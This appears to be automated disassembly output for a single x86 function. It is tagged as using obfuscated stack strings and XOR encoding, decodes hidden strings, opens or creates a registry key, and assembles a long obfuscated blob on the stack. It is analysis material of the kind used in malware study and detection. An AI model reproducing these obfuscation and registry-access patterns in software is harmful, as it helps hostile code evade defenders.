Function at 0x404830
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49c285
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x948
mov eax, dword [0x4b8040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0xc
call fcn.0044318b
mov esi, eax
xorps xmm0, xmm0
mov dword [ebp - 0xd4], esi
xor edx, edx
mov ecx, dword [0x4ae940]
add esp, 4
mov dword [ebp - 0xa4], edx
movq qword [esi], xmm0
movups xmm0, xmmword [0x4ae930]
mov dword [esi + 8], 0
cmp dword [0x5067b8], 2
movups xmmword [ebp - 0x94], xmm0
mov dword [ebp - 0x84], ecx
jl 0x4049f0
movaps xmm0, xmmword [0x4b0e40]
lea eax, [edx + 4]
movaps xmm4, xmmword [0x4b0c70]
movaps xmm3, xmmword [0x4b0f40]
movaps xmm5, xmmword [0x4b0ca0]
movaps xmm6, xmmword [0x4b0d40]
movaps xmmword [ebp - 0xc0], xmm0
mov ecx, dword [ebp - 0xc0]
movd xmm0, edx
add edx, 8
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x98]
xorps xmm2, xmm0
movd xmm0, eax
movd dword [ebp + eax - 0x98], xmm2
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [ebp + eax - 0x94]
xorps xmm2, xmm0
movd dword [ebp + eax - 0x94], xmm2
add eax, 8
cmp eax, 0x14
jl 0x4048f3
mov dword [ebp - 0xa4], edx
cmp edx, 0x14
jge 0x404a2d
nop dword [eax + eax]
mov eax, 0x8fb823ef
imul edx
add edx, dword [ebp - 0xa4]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0xa4]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x36
xor byte [ebp + edx - 0x94], cl
inc edx
mov dword [ebp - 0xa4], edx
cmp edx, 0x14
jl 0x4049f0
push esi
push 0xf003f
push 0
lea eax, [ebp - 0x94]
mov dword [esi], 0
push eax
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x404a75
push 0
push esi
push 0
push 0xf003f
push 0
push 0
push 0
lea eax, [ebp - 0x94]
push eax
push reloc.WS2_32.dll_accept
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
jmp 0x404a79
mov byte [esi + 4], 1
mov byte [esi + 8], 1
mov dword [ebp - 0x68], 0xf9c96472
mov dword [ebp - 0x64], 0xdb13292e
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x68], 0x2b1e9844
mov dword [ebp - 0x64], 0x8b169f93
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x104], ecx
mov dword [ebp - 0x68], 0x98b93b1f
mov dword [ebp - 0x64], 0xdb13194a
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x68], 0x2b1e9844
mov dword [ebp - 0x64], 0x8b169f93
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
movaps xmm1, xmmword [ebp - 0x110]
mov dword [ebp - 0x78], eax
lea eax, [ebp - 0x110]
push ecx
push eax
mov dword [ebp - 0x74], ecx
lea eax, [ebp - 0x5c]
xorps xmm1, xmmword [ebp - 0x80]
mov ecx, esi
push eax
movaps xmmword [ebp - 0x110], xmm1
call fcn.00442ab0
mov dword [ebp - 4], 0
xorps xmm0, xmm0
mov dword [ebp - 0x68], 0xd5e34b7e
mov dword [ebp - 0x64], 0xbd75737c
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x68], 0x2b1e9844
mov dword [ebp - 0x64], 0x8b169f93
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x68], 0x98b93b1f
mov dword [ebp - 0x64], 0xdb13194a
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x68], 0x2b1e9844
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], ecx
mov dword [ebp - 0x64], 0x8b169f93
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
movaps xmm1, xmmword [ebp - 0x80]
mov dword [ebp - 0xb4], ecx
lea ecx, [ebp - 0x80]
mov dword [ebp - 0xb8], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0xc0]
movaps xmmword [ebp - 0x80], xmm1
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x404bc4
sub ecx, edx
lea eax, [ebp - 0x80]
push ecx
push eax
lea ecx, [ebp - 0x98]
call fcn.0040e0d0
lea eax, [ebp - 0x98]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.00403840
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x84]
cmp ecx, 0xf
jbe 0x404c33
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404c29
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x407fdf
push ecx
push edx
call fcn.004431bb
add esp, 8
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0xf
mov byte [ebp - 0x98], 0
mov dword [ebp - 0x68], 0xb8993164
mov dword [ebp - 0x64], 0xfb33396a
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x530], eax
mov dword [ebp - 0x52c], ecx
mov dword [ebp - 0x68], 0x4571fb66
mov dword [ebp - 0x64], 0xff78fae7
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x528], eax
mov dword [ebp - 0x524], ecx
mov dword [ebp - 0x68], 0x88fa2843
mov dword [ebp - 0x64], 0x338f48f5
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x520], eax
mov dword [ebp - 0x51c], ecx
mov dword [ebp - 0x68], 0xb018d8ac
mov dword [ebp - 0x64], 0x50eb3789
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x518], eax
mov dword [ebp - 0x514], ecx
mov dword [ebp - 0x68], 0xa2d10eb6
mov dword [ebp - 0x64], 0x6091abe2
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x510], eax
mov dword [ebp - 0x50c], ecx
mov dword [ebp - 0x68], 0xe87f59f8
mov dword [ebp - 0x64], 0x3b0220bf
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x508], eax
mov dword [ebp - 0x504], ecx
mov dword [ebp - 0x68], 0xece6cac5
mov dword [ebp - 0x64], 0xe4bdd7b6
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x500], eax
mov dword [ebp - 0x4fc], ecx
mov dword [ebp - 0x68], 0x2fcb179a
mov dword [ebp - 0x64], 0xa95965b5
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x4f8], eax
mov dword [ebp - 0x4f4], ecx
mov dword [ebp - 0x68], 0xeec52573
mov dword [ebp - 0x64], 0x3a384857
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x4f0], eax
mov dword [ebp - 0x4ec], ecx
mov dword [ebp - 0x68], 0xbb8d9fae
mov dword [ebp - 0x64], 0xbf8787c2
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x4e8], eax
mov dword [ebp - 0x4e4], ecx
mov dword [ebp - 0x68], 0xdee50265
mov dword [ebp - 0x64], 0xdf67eb84
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x4e0], eax
mov dword [ebp - 0x4dc], ecx
mov dword [ebp - 0x68], 0xe477e6ee
mov dword [ebp - 0x64], 0xe805c61f
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x4d8], eax
mov dword [ebp - 0x4d4], ecx
mov dword [ebp - 0x68], 0xb1ac6916
mov dword [ebp - 0x64], 0xcaba8e0a
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x4d0], eax
mov dword [ebp - 0x4cc], ecx
mov dword [ebp - 0x68], 0x7785e442
mov dword [ebp - 0x64], 0x9cedd2c7
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x4c8], eax
mov dword [ebp - 0x4c4], ecx
mov dword [ebp - 0x68], 0x6d58ff2d
mov dword [ebp - 0x64], 0x9c1dcd24
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x4c0], eax
mov dword [ebp - 0x4bc], ecx
mov dword [ebp - 0x68], 0x914bae2e
mov dword [ebp - 0x64], 0xf580ed47
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x4b8], eax
mov dword [ebp - 0x4b4], ecx
mov dword [ebp - 0x68], 0x608d851a
mov dword [ebp - 0x64], 0xee2dd042
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x4b0], eax
mov dword [ebp - 0x4ac], ecx
mov dword [ebp - 0x68], 0x6c5ef8f4
mov dword [ebp - 0x64], 0x9bdd7ae3
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x4a8], eax
mov dword [ebp - 0x4a4], ecx
mov dword [ebp - 0x68], 0x3fb8d451
mov dword [ebp - 0x64], 0xa0035a55
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x4a0], eax
mov dword [ebp - 0x49c], ecx
mov dword [ebp - 0x68], 0x47443594
mov dword [ebp - 0x64], 0x55747bd3
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x498], eax
mov dword [ebp - 0x494], ecx
mov dword [ebp - 0x68], 0xb6384543
mov dword [ebp - 0x64], 0x2cda9596
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x490], eax
mov dword [ebp - 0x48c], ecx
mov dword [ebp - 0x68], 0xd43d6648
mov dword [ebp - 0x64], 0xee86326f
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x488], eax
mov dword [ebp - 0x484], ecx
mov dword [ebp - 0x68], 0xb691fcd5
mov dword [ebp - 0x64], 0x48b0f94c
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x480], eax
mov dword [ebp - 0x47c], ecx
mov dword [ebp - 0x68], 0xb9bf9d6a
mov dword [ebp - 0x64], 0x6f3ebaa8
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x478], eax
mov dword [ebp - 0x474], ecx
mov dword [ebp - 0x68], 0x5df12937
mov dword [ebp - 0x64], 0xb3cd2387
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x470], eax
mov dword [ebp - 0x46c], ecx
mov dword [ebp - 0x68], 0xcd3a3ef1
mov dword [ebp - 0x64], 0xf3b3ab61
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x468], eax
mov dword [ebp - 0x464], ecx
mov dword [ebp - 0x68], 0xff75aa39
mov dword [ebp - 0x64], 0x256866b8
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x460], eax
mov dword [ebp - 0x45c], ecx
mov dword [ebp - 0x68], 0x370067e
mov dword [ebp - 0x64], 0xf6f5f5f7
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x458], eax
mov dword [ebp - 0x454], ecx
mov dword [ebp - 0x68], 0xfa20b2ae
mov dword [ebp - 0x64], 0x7e88f9dc
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x450], eax
mov dword [ebp - 0x44c], ecx
mov dword [ebp - 0x68], 0x787e5ba2
mov dword [ebp - 0x64], 0x2eeb0d52
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x448], eax
mov dword [ebp - 0x444], ecx
mov dword [ebp - 0x68], 0x1bb384bd
mov dword [ebp - 0x64], 0x85e5ec14
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x440], eax
mov dword [ebp - 0x43c], ecx
mov dword [ebp - 0x68], 0x2c6bdb72
mov dword [ebp - 0x64], 0x4d8e1b0d
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x438], eax
mov dword [ebp - 0x434], ecx
mov dword [ebp - 0x68], 0x66205151
mov dword [ebp - 0x64], 0xa054fbcf
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x430], eax
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x68], 0x9e3e5810
mov dword [ebp - 0x64], 0x4fa14c79
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x428], eax
mov dword [ebp - 0x424], ecx
mov dword [ebp - 0x68], 0x15fbef21
mov dword [ebp - 0x64], 0xe65c3940
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x41c], ecx
mov dword [ebp - 0x68], 0xf14c9566
mov dword [ebp - 0x64], 0x48491f29
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x414], ecx
mov dword [ebp - 0x68], 0x562a90d3
mov dword [ebp - 0x64], 0x6e6b4746
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x410], eax
mov dword [ebp - 0x40c], ecx
mov dword [ebp - 0x68], 0x62a00a03
mov dword [ebp - 0x64], 0x524aa5df
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x408], eax
mov dword [ebp - 0x404], ecx
mov dword [ebp - 0x68], 0x829e13a5
mov dword [ebp - 0x64], 0x3c34cb3c
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x400], eax
mov dword [ebp - 0x3fc], ecx
mov dword [ebp - 0x68], 0xc19ec4f8
mov dword [ebp - 0x64], 0x5a874010
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x3f8], eax
mov dword [ebp - 0x3f4], ecx
mov dword [ebp - 0x68], 0x53482f05
mov dword [ebp - 0x64], 0xbb039bb0
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x3f0], eax
mov dword [ebp - 0x3ec], ecx
mov dword [ebp - 0x68], 0x9bafb78c
mov dword [ebp - 0x64], 0x411856bb
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x3e8], eax
mov dword [ebp - 0x3e4], ecx
mov dword [ebp - 0x68], 0x606efb09
mov dword [ebp - 0x64], 0xacd88e68
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x3e0], eax
mov dword [ebp - 0x3dc], ecx
mov dword [ebp - 0x68], 0x40a43b02
mov dword [ebp - 0x64], 0x7ec2518b
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x3d8], eax
mov dword [ebp - 0x3d4], ecx
mov dword [ebp - 0x68], 0xb0d9ef1e
mov dword [ebp - 0x64], 0xe54c0e62
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x3d0], eax
mov dword [ebp - 0x3cc], ecx
mov dword [ebp - 0x68], 0x86137a48
mov dword [ebp - 0x64], 0x79423902
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x3c8], eax
mov dword [ebp - 0x3c4], ecx
mov dword [ebp - 0x68], 0x3cc86627
mov dword [ebp - 0x64], 0xa29b06c4
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x3c0], eax
mov dword [ebp - 0x3bc], ecx
mov dword [ebp - 0x68], 0xc37191c2
mov dword [ebp - 0x64], 0x686c9dfd
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x3b8], eax
mov dword [ebp - 0x3b4], ecx
mov dword [ebp - 0x68], 0x2592dea6
mov dword [ebp - 0x64], 0x58274034
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x3b0], eax
mov dword [ebp - 0x3ac], ecx
mov dword [ebp - 0x68], 0xbfd88d4
mov dword [ebp - 0x64], 0xf257d046
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x3a8], eax
mov dword [ebp - 0x3a4], ecx
mov dword [ebp - 0x68], 0xded7f831
mov dword [ebp - 0x64], 0xcc3cbc30
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x3a0], eax
mov dword [ebp - 0x39c], ecx
mov dword [ebp - 0x68], 0xa0930476
mov dword [ebp - 0x64], 0x4e73ddb3
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x398], eax
mov dword [ebp - 0x394], ecx
mov dword [ebp - 0x68], 0xca6b70a3
mov dword [ebp - 0x64], 0xbae6136
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x390], eax
mov dword [ebp - 0x38c], ecx
mov dword [ebp - 0x68], 0x8047ba8
mov dword [ebp - 0x64], 0xb82b288f
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x388], eax
mov dword [ebp - 0x384], ecx
mov dword [ebp - 0x68], 0xab0dfc35
mov dword [ebp - 0x64], 0x2f576d6c
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x380], eax
mov dword [ebp - 0x37c], ecx
mov dword [ebp - 0x68], 0x418112ca
mov dword [ebp - 0x64], 0xb88cdcc8
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x378], eax
mov dword [ebp - 0x374], ecx
mov dword [ebp - 0x68], 0xb30b4e97
mov dword [ebp - 0x64], 0xc655cbe2
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x370], eax
mov dword [ebp - 0x36c], ecx
mov dword [ebp - 0x68], 0x83a3dcce
mov dword [ebp - 0x64], 0x33757fe9
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x368], eax
mov dword [ebp - 0x364], ecx
mov dword [ebp - 0x68], 0x3e8c7519
mov dword [ebp - 0x64], 0xa7ace858
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x360], eax
mov dword [ebp - 0x35c], ecx
mov dword [ebp - 0x68], 0x22cb57de
mov dword [ebp - 0x64], 0x96fe44c1
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x358], eax
mov dword [ebp - 0x354], ecx
mov dword [ebp - 0x68], 0x31cd1707
mov dword [ebp - 0x64], 0x7ef00ae4
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x350], eax
mov dword [ebp - 0x34c], ecx
mov dword [ebp - 0x68], 0xe705aec0
mov dword [ebp - 0x64], 0x14f21136
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x348], eax
mov dword [ebp - 0x344], ecx
mov dword [ebp - 0x68], 0xda6fff2
mov dword [ebp - 0x64], 0xfb78cc6
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x340], eax
mov dword [ebp - 0x33c], ecx
mov dword [ebp - 0x68], 0x2476c0d2
mov dword [ebp - 0x64], 0x1545dc2d
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x338], eax
mov dword [ebp - 0x334], ecx
mov dword [ebp - 0x68], 0x8032c57f
mov dword [ebp - 0x64], 0x4461762a
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x330], eax
mov dword [ebp - 0x32c], ecx
mov dword [ebp - 0x68], 0x5c112eea
mov dword [ebp - 0x64], 0xfd7cfe36
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x328], eax
mov dword [ebp - 0x324], ecx
mov dword [ebp - 0x68], 0x8b46ced5
mov dword [ebp - 0x64], 0x5233414a
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x320], eax
mov dword [ebp - 0x31c], ecx
mov dword [ebp - 0x68], 0xb7b282c6
mov dword [ebp - 0x64], 0xe4db7449
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x318], eax
mov dword [ebp - 0x314], ecx
mov dword [ebp - 0x68], 0xc5217333
mov dword [ebp - 0x64], 0x8cc43566
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x310], eax
mov dword [ebp - 0x30c], ecx
mov dword [ebp - 0x68], 0xefee8d38
mov dword [ebp - 0x64], 0x4d721d7f
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x308], eax
mov dword [ebp - 0x304], ecx
mov dword [ebp - 0x68], 0xbf009f5e
mov dword [ebp - 0x64], 0x36ee145c
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x2fc], ecx
mov dword [ebp - 0x68], 0x3764c1da
mov dword [ebp - 0x64], 0xfd89a275
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x2f8], eax
mov dword [ebp - 0x2f4], ecx
mov dword [ebp - 0x68], 0xe76b9865
mov dword [ebp - 0x64], 0x4c088497
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x2f0], eax
mov dword [ebp - 0x2ec], ecx
mov dword [ebp - 0x68], 0x981f07ee
mov dword [ebp - 0x64], 0x3b08133f
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x2e4], ecx
mov dword [ebp - 0x68], 0xe6c12769
mov dword [ebp - 0x64], 0x71ade488
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x2e0], eax
mov dword [ebp - 0x2dc], ecx
mov dword [ebp - 0x68], 0x945e482e
mov dword [ebp - 0x64], 0x895b9e31
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x2d8], eax
mov dword [ebp - 0x2d4], ecx
mov dword [ebp - 0x68], 0x9d49a31a
mov dword [ebp - 0x64], 0xc839322c
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x2d0], eax
mov dword [ebp - 0x2cc], ecx
mov dword [ebp - 0x68], 0x1aa025e8
mov dword [ebp - 0x64], 0x4fb27ff8
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x2c8], eax
mov dword [ebp - 0x2c4], ecx
mov dword [ebp - 0x68], 0x1b9acc0e
mov dword [ebp - 0x64], 0x17ea6f88
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x2c0], eax
mov dword [ebp - 0x2bc], ecx
mov dword [ebp - 0x68], 0x9ab361a0
mov dword [ebp - 0x64], 0x33c62a1d
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x2b8], eax
mov dword [ebp - 0x2b4], ecx
mov dword [ebp - 0x68], 0x7c2f464f
mov dword [ebp - 0x64], 0x2a25191a
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x2b0], eax
mov dword [ebp - 0x2ac], ecx
mov dword [ebp - 0x68], 0x73f8a334
mov dword [ebp - 0x64], 0x2e0db7a3
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x2a8], eax
mov dword [ebp - 0x2a4], ecx
mov dword [ebp - 0x68], 0x72658091
mov dword [ebp - 0x64], 0x5b752fa
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x2a0], eax
mov dword [ebp - 0x29c], ecx
mov dword [ebp - 0x68], 0x39d99d6
mov dword [ebp - 0x64], 0xe5a4b8b9
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x298], eax
mov dword [ebp - 0x294], ecx
mov dword [ebp - 0x68], 0xe91d60c5
mov dword [ebp - 0x64], 0x65088013
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x290], eax
mov dword [ebp - 0x28c], ecx
mov dword [ebp - 0x68], 0xdb9abc88
mov dword [ebp - 0x64], 0xf66f2f
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x288], eax
mov dword [ebp - 0x284], ecx
mov dword [ebp - 0x68], 0xbe2ba715
mov dword [ebp - 0x64], 0x98e1360c
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x280], eax
mov dword [ebp - 0x27c], ecx
mov dword [ebp - 0x68], 0x94530cfe
mov dword [ebp - 0x64], 0x856d26a7
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x274], ecx
mov dword [ebp - 0x68], 0x15a0cb0c
mov dword [ebp - 0x64], 0x57bae6f6
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x26c], ecx
mov dword [ebp - 0x68], 0x8d0170fc
mov dword [ebp - 0x64], 0x4aafe859
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x264], ecx
mov dword [ebp - 0x68], 0x82ca533e
mov dword [ebp - 0x64], 0x7916ea78
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], ecx
mov dword [ebp - 0x68], 0x889dabc
mov dword [ebp - 0x64], 0xf5e9f161
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x258], eax
mov dword [ebp - 0x254], ecx
mov dword [ebp - 0x68], 0xc1541b2b
mov dword [ebp - 0x64], 0xae2be3c3
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x250], eax
mov dword [ebp - 0x24c], ecx
mov dword [ebp - 0x68], 0x1cb8e010
mov dword [ebp - 0x64], 0x7c8a4bf7
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x248], eax
mov dword [ebp - 0x244], ecx
